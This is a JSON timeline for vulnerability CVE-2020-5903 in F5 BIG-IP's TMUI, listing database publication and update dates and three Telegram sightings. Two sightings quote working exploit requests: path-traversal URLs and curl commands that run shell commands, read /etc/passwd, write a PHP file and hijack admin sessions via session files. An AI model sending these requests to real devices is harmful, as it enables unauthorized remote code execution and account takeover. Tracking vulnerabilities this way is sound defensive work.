{"metadata": {"vulnerability": "CVE-2020-5903", "count": 33, "kinds": {"milestone": 5, "sighting": 3, "kev": 0, "other": 25}}, "data": [{"timestamp": "2020-01-06T00:00:00Z", "date_only": false, "value": "2020-01-06T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2020-5903", "field": "cveMetadata.dateReserved"}, {"timestamp": "2020-07-01T00:00:00Z", "date_only": false, "value": "2020-07-01T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202007-1394", "record": "VAR-202007-1394", "field": "sources_release_date.data.1.date"}, {"timestamp": "2020-07-01T00:00:00Z", "date_only": false, "value": "2020-07-01T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2020-AVI-399", "record": "CERTFR-2020-AVI-399", "field": "initial_release_date"}, {"timestamp": "2020-07-01T00:00:00Z", "date_only": false, "value": "2020-07-01T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2020-AVI-399", "record": "CERTFR-2020-AVI-399", "field": "revisions.0.revision_date"}, {"timestamp": "2020-07-01T14:42:00Z", "date_only": false, "value": "2020-07-01T14:42:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2020-5903", "field": "cveMetadata.datePublished"}, {"timestamp": "2020-07-01T15:15:00Z", "date_only": false, "value": "2020-07-01T15:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-Q6XC-MGX9-83RC", "record": "GHSA-Q6XC-MGX9-83RC", "field": "database_specific.nvd_published_at"}, {"timestamp": "2020-07-01T15:15:00Z", "date_only": false, "value": "2020-07-01T15:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2020-5903", "record": "GSD-2020-5903", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2020-07-01T15:15:15.437Z", "date_only": false, "value": "2020-07-01T15:15:15.437000", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202007-1394", "record": "VAR-202007-1394", "field": "sources_release_date.data.5.date"}, {"timestamp": "2020-07-01T15:15:15.437Z", "date_only": false, "value": "2020-07-01T15:15:15.437", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2020-5903", "record": "FKIE_CVE-2020-5903", "field": "published"}, {"timestamp": "2020-07-02T00:00:00Z", "date_only": false, "value": "2020-07-02T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2020-AVI-399", "record": "CERTFR-2020-AVI-399", "field": "revisions.1.revision_date"}, {"timestamp": "2020-07-02T00:00:00Z", "date_only": true, "value": "2020-07-02", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2020-61639", "record": "CNVD-2020-61639", "field": "submitTime"}, {"timestamp": "2020-07-03T17:08:12Z", "date_only": false, "value": "2020-07-03T17:08:12.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cKure/1106", "record": "CVE-2020-5903", "field": "creation_timestamp", "uuid": "189074cd-07f9-480b-9508-789b79c47b5d", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 F5's BIG-IP Allow Full System Compromise; TMUI Unauthenticated RCE vulnerability | CVE-2020-5903\n\nhttps://support.f5.com/csp/article/K52145254", "url": "https://t.me/cKure/1106"}, {"timestamp": "2020-07-06T11:05:19Z", "date_only": false, "value": "2020-07-06T11:05:19.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cKure/1145", "record": "CVE-2020-5903", "field": "creation_timestamp", "uuid": "0227573c-0d81-4f0a-b7d8-61aa53db511b", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Exploit code for F5's BIG-IP; TMUI Unauthenticated RCE vulnerability via HTTP GET requests | CVE-2020-5903\n\n\u25aa\ufe0eCode Execution\nhttps://\u300aIP\u300b/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=whoami\n\n\u25aa\ufe0eLFI\nhttps://\u300aIP\u300b/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd\n\n\u25aa\ufe0eFile Write\nhttps://\u300aIP\u300b/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd.php&content=thisisgood", "url": "https://t.me/cKure/1145"}, {"timestamp": "2020-07-08T00:00:00Z", "date_only": false, "value": "2020-07-08T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202007-1394", "record": "VAR-202007-1394", "field": "sources_release_date.data.0.date"}, {"timestamp": "2020-07-08T00:00:00Z", "date_only": false, "value": "2020-07-08T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2020-AVI-399", "record": "CERTFR-2020-AVI-399", "field": "last_revision_date"}, {"timestamp": "2020-07-08T00:00:00Z", "date_only": false, "value": "2020-07-08T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2020-AVI-399", "record": "CERTFR-2020-AVI-399", "field": "revisions.2.revision_date"}, {"timestamp": "2020-07-08T21:06:16Z", "date_only": false, "value": "2020-07-08T21:06:16.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / f5", "record": "CVE-2020-5903", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2020-07-13T00:00:00Z", "date_only": false, "value": "2020-07-13T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202007-1394", "record": "VAR-202007-1394", "field": "sources_update_date.data.0.date"}, {"timestamp": "2020-07-24T00:00:00Z", "date_only": false, "value": "2020-07-24T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202007-1394", "record": "VAR-202007-1394", "field": "sources_update_date.data.4.date"}, {"timestamp": "2020-11-09T00:00:00Z", "date_only": true, "value": "2020-11-09", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2020-61639", "record": "CNVD-2020-61639", "field": "openTime"}, {"timestamp": "2022-05-24T17:22:16Z", "date_only": false, "value": "2022-05-24T17:22:16Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-Q6XC-MGX9-83RC", "record": "GHSA-Q6XC-MGX9-83RC", "field": "published"}, {"timestamp": "2023-01-27T00:00:00Z", "date_only": false, "value": "2023-01-27T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202007-1394", "record": "VAR-202007-1394", "field": "sources_update_date.data.1.date"}, {"timestamp": "2023-01-27T16:36:00Z", "date_only": false, "value": "2023-01-27T16:36Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2020-5903", "record": "GSD-2020-5903", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2023-01-27T18:30:32Z", "date_only": false, "value": "2023-01-27T18:30:32Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-Q6XC-MGX9-83RC", "record": "GHSA-Q6XC-MGX9-83RC", "field": "modified"}, {"timestamp": "2023-11-09T00:00:00Z", "date_only": false, "value": "2023-11-09T00:00:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202007-1394", "record": "VAR-202007-1394", "field": "sources_release_date.data.3.date"}, {"timestamp": "2023-11-09T00:23:00Z", "date_only": false, "value": "2023-11-09T00:23:00", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202007-1394", "record": "VAR-202007-1394", "field": "sources_update_date.data.3.date"}, {"timestamp": "2023-12-13T01:22:03.847Z", "date_only": false, "value": "2023-12-13T01:22:03.847076Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2020-5903", "record": "GSD-2020-5903", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-08-04T08:47:40.717Z", "date_only": false, "value": "2024-08-04T08:47:40.717Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2020-5903", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-04T08:47:40.717Z", "date_only": false, "value": "2024-08-04T08:47:40.717Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2020-5903", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-11-02T15:23:24Z", "date_only": false, "value": "2024-11-02T15:23:24.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/1378", "record": "CVE-2020-5903", "field": "creation_timestamp", "uuid": "2667699b-3911-44ed-9851-2e99592c0310", "content": "#exploit\nF5 BigIP TMUI Critical RCE (CVE-2020-5902, CVE-2020-5903):\nhttps://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/\n]-> PoCs:\n1. https://github.com/rapid7/metasploit-framework/pull/13807/commits/0417e88ff24bf05b8874c953bd91600f10186ba4\n2. [https://{host}]/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/tmp \nthere you will see the session files like: \"sess_XXYYXXYYXXYYXXYYXXYYXXYYXX\". \nSet this in the cookie and you are in admin's session...\n3. RCE\ncurl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'\n4. Read File\ncurl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'\n]-> Security Advisory:\nhttps://support.f5.com/csp/article/K52145254\n]-> A\u00a0quick NMAP script:\nhttps://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse", "url": "https://t.me/CyberSecurityTechnologies/1378"}, {"timestamp": "2024-11-21T05:34:47.873Z", "date_only": false, "value": "2024-11-21T05:34:47.873000", "kind": "other", "label": "Date", "source": "variot \u00b7 VAR-202007-1394", "record": "VAR-202007-1394", "field": "sources_update_date.data.5.date"}, {"timestamp": "2024-11-23T22:05:33.127Z", "date_only": false, "value": "2024-11-23T22:05:33.127000Z", "kind": "other", "label": "Last update date", "source": "variot \u00b7 VAR-202007-1394", "record": "VAR-202007-1394", "field": "last_update_date"}, {"timestamp": "2026-06-17T03:22:25.660Z", "date_only": false, "value": "2026-06-17T03:22:25.660", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2020-5903", "record": "FKIE_CVE-2020-5903", "field": "lastModified"}]}